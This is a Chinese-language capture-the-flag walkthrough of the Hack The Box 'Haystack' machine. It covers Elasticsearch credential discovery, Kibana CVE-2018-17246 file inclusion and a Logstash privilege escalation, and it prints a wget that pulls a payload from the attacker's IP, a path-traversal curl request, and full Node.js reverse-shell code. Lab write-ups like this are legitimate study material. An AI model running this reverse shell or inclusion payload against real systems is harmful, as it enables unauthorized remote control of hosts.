HTB linux Haystack

简介
靶机状态: rooted.

目录

  • 信息收集
  • shell: security
  • priv: security -> kibana
  • priv: kibana -> root

端口扫描

1.nmap扫描端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nmap -sC -sV -oA nmap/Haystack 10.10.10.115
# Nmap 7.70 scan initiated Tue Jul 9 21:59:56 2019 as: nmap -sC -sV -oA nmap/Haystack 10.10.10.115
Nmap scan report for 10.10.10.115
Host is up (0.28s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 9 22:01:37 2019 -- 1 IP address (1 host up) scanned in 101.05 seconds

访问80和9200端口后,得到如下信息:

  • 22端口ssh服务,版本 OpenSSh 7.4
  • 80端口WEB服务,版本 nginx 1.12.2,页面内容为一副“扎在草堆中的一根针”的图片,jpg格式,文件名为needle.jpg(针)
  • 9200端口ElasticSearch服务,版本 6.4.2,RPM包方式安装

2.searchsploit查历史exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# nginx 1.12.2
$ searchsploit nginx 1.
--------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------
Exploit Title | Path
| (/usr/local/opt/exploitdb/share/exploitdb/)
--------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------
Nginx 0.7.0 < 0.7.61 / 0.6.0 < 0.6.38 / 0.5.0 < 0.5.37 / 0.4.0 < 0.4.14 - Denial of Service (PoC) | exploits/linux/dos/9901.txt
Nginx 1.1.17 - URI Processing SecURIty Bypass | exploits/multiple/remote/38846.txt
Nginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow (Metasploit) | exploits/linux/remote/25775.rb
Nginx 1.3.9 < 1.4.0 - Denial of Service (PoC) | exploits/linux/dos/25499.py
Nginx 1.3.9/1.4.0 (x86) - Brute Force | exploits/linux_x86/remote/26737.pl
Nginx 1.4.0 (Generic Linux x64) - Remote Overflow | exploits/linux_x86-64/remote/32277.txt
--------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------
Shellcodes: No Result
Papers: No Result

# ElasticSearch 6.5.2
$ searchsploit ElasticSearch 6
--------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------
Exploit Title | Path
| (/usr/local/opt/exploitdb/share/exploitdb/)
--------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------
ElasticSearch - Remote Code Execution | exploits/linux/remote/36337.py
ElasticSearch - Search Groovy Sandbox Bypass (Metasploit) | exploits/java/remote/36415.rb
ElasticSearch 1.6.0 - Arbitrary File Download | exploits/linux/webapps/38383.py
--------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------
Shellcodes: No Result
Papers: No Result

nginx和es无直接利用的exp,配合google搜索均为发现,于是放弃N Day这条路。

shell: security

Elasticsearch是一个基于Lucene库的搜寻引擎。它提供了一个分布式、支持多租户的全文搜索引擎,具有HTTP Web接口和无模式JSON文档。 Elasticsearch是用Java开发的,并在Apache许可证下作为开源软体发布。官方客户端在Java、.NET(C#)、PHP、Python、Apache Groovy、Ruby和许多其他语言中都是可用的。根据DB-Engines的排名显示,Elasticsearch是最受欢迎的企业搜寻引擎,其次是Apache Solr,也是基于Lucene。wikipedia
简言之,ES是一个查询速度极快的数据库,用于企业级数据搜索,可作为数据库数据的缓存层。既然是存数据,就可能保存账号密码等敏感信息,盘它。

由于直接在elasticsearch-head中查询,速度太慢,因此先用elasticsearch-dump工具dump出es索引中的数据。

一番操作之后,发现needle关键字找不到任何有意思的东西,于是查看了forum论坛上的tips,发现needle.jpg里有隐藏的信息,之前被我忽略了,回去看图片:

1
2
3
4
5
6
# 先strings大致找一下,不行再上工具
$ strings needles.jpg

# 发现一个base64编码的字符串,jpg里正常情况是不会有base64的
$ echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 -d
la aguja en el pajar es "clave"

发现了”clave”,这里我傻不拉几的翻译为了英文,然后发现进入死循环,于是,直接在es中查关键字”clave”找到账号密码:

1
2
3
4
5
6
7
8
9
$ cat elasticsearch/quotes.json|grep clave
{"_index":"quotes","_type":"quote","_id":"111","_score":1,"_source":{"quote":"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="}}
{"_index":"quotes","_type":"quote","_id":"45","_score":1,"_source":{"quote":"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "}}

# decode base64
$ echo cGFzczogc3BhbmlzaC5pcy5rZXk= | base64 -d
pass: spanish.is.key
$ echo dXNlcjogc2VjdXJpdHkg | base64 -d
user: security

登陆ssh,获得security权限。

priv: security -> kibana

进入shell后,用LinEnum.sh检查可提权的内容,发现存在kibana服务,从ps结果找到配置文件位置”/usr/share/kibana/README.txt”,发现配置文件版本:kibana 6.4.2,google发现存在N Day CVE-2018-17246。

1.简介
kibana是Elastic公司开源的一款由node编写的数据展示工具,用来创建可视化图表。官方地址

2.漏洞分析
查exp发现漏洞触发点位于”/api/console/api_server”,在git上搜索api_server可以找到api_server]的目录”src\core_plugins/console/server/api_server”,漏洞触发的关键代码如下:(官方仓库已经移除有漏洞的代码)

1
2
3
4
5
6
7
8
9
10
11
12
function resolveApi(senseVersion, apis, h) {
const result = {};
_.each(apis, function (name) {
{
const api = require('./' + name);
result[name] = api.asJson();
}
}
});

return h.response(result).type('application/json');
}

从上面代码中可以看到,resolveApi在接收到apis参数的数据后,未进行验证直接进行require,导致了node文件包含漏洞。

3.利用cve

1
2
$ cd /tmp && wget 10.10.15.81/shell.js
$ curl "localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=./../../../../../../../../tmp/shell.js"

4.exp代码

1
2
3
4
5
6
7
8
9
10
11
12
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/bash", []);
var client = new net.Socket();
client.connect(1337, "10.10.15.81", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();

priv: kibana -> root

进入kibana后,依旧先运行LinEnum.sh,在运行的进程中找到以root权限运行的logstash,Logstash 是开源的服务器端数据处理管道,能够同时从多个来源采集数据,转换数据,然后将数据发送到您最喜欢的“存储库”中。ElasticSearch、Logstash和Kibana合称为ELK,用于日志的收集及图形化展示。

logstash具有执行系统命令的功能,因此先查看其配置”/etc/logstash/conf.d”,在output.conf中发现通过exec将数据发送出去,配合input.conf和filter.conf找到提权的方法:

1
$ echo "Ejecutar comando : /usr/share/kibana/node/bin/node /tmp/shell.js" > /opt/kibana/logstash_owefsad

拿到root权限。
来收集系统数据的功能,因此,

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%